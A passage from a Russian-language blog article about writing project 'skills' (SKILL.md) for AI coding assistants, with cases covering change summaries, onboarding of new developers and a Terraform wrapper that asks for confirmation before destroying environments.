Можно сделать скилл «описать изменения». Он смотрит на изменения в коде, коммиты и описание задачи, а потом формирует выжимку: что изменилось, какие модули затронуты, как проверить результат, есть ли риски, миграции, настройки или флаги.

Такой скилл помогает не забывать важные детали и делает передачу задачи более предсказуемой.

Кейс 2. Онбординг новых разработчиков

Проектные скиллы полезны для онбординга. В них можно описать, как поднять окружение, как запускать тесты, как оформлять ветки и коммиты, где смотреть логи и какие архитектурные правила нельзя нарушать.

Новый разработчик может спросить помощника: «помоги поднять проект» или «подготовь задачу к сдаче». Помощник ответит с учётом проектных правил, а не общими советами. Это не отменяет документацию, но снижает количество одинаковых вопросов.

Кейс 3. Надстройка над Terraform

Другой пример — сложные инструменты. Допустим, команде нужен Terraform для стендов, но не все хорошо с ним знакомы. Реальных знаний Terraform скилл не заменит: всё равно важно понимать состояние, план изменений, ресурсы и последствия удаления инфраструктуры.

Но для повседневной работы можно сделать понятные действия поверх Terraform:

  • Init stand — подготовить стенд;

  • Update stand — применить изменения;

  • Destroy stand — удалить стенд.

Под капотом ассистент выполняет нужные команды: инициализирует Terraform, выбирает окружение, строит план, показывает изменения, просит подтверждение перед опасными действиями и реагирует на ошибки.

Главное здесь — не просто удобство, а безопасность. В скилле можно прописать: перед применением изменений показать план, перед удалением стенда запросить отдельное подтверждение, не выполнять опасные команды молча и не использовать непроверенные переменные окружения. Так команда получает понятный интерфейс к сложному инструменту, но сохраняет контроль.

Что это даёт

Главная польза скиллов в том, что командные знания становятся частью проекта. Их можно обсуждать и улучшать так же, как код. Это мост между «ИИ просто помогает писать код» и «ИИ помогает соблюдать процессы команды»: оформление задач, проверки, инфраструктура, отчёты, онбординг и документация.

Где посмотреть готовые примеры

Сторонние скиллы стоит читать как чужой код: внутри могут быть скрипты и команды. Особенно внимательно стоит смотреть на скиллы, которые запускают команды.

Полезные материалы и репозитории:

Для начала достаточно взять один небольшой процесс, описать его в SKILL.md и положить рядом с кодом.

Теги:
Рейтинг0
Комментарии0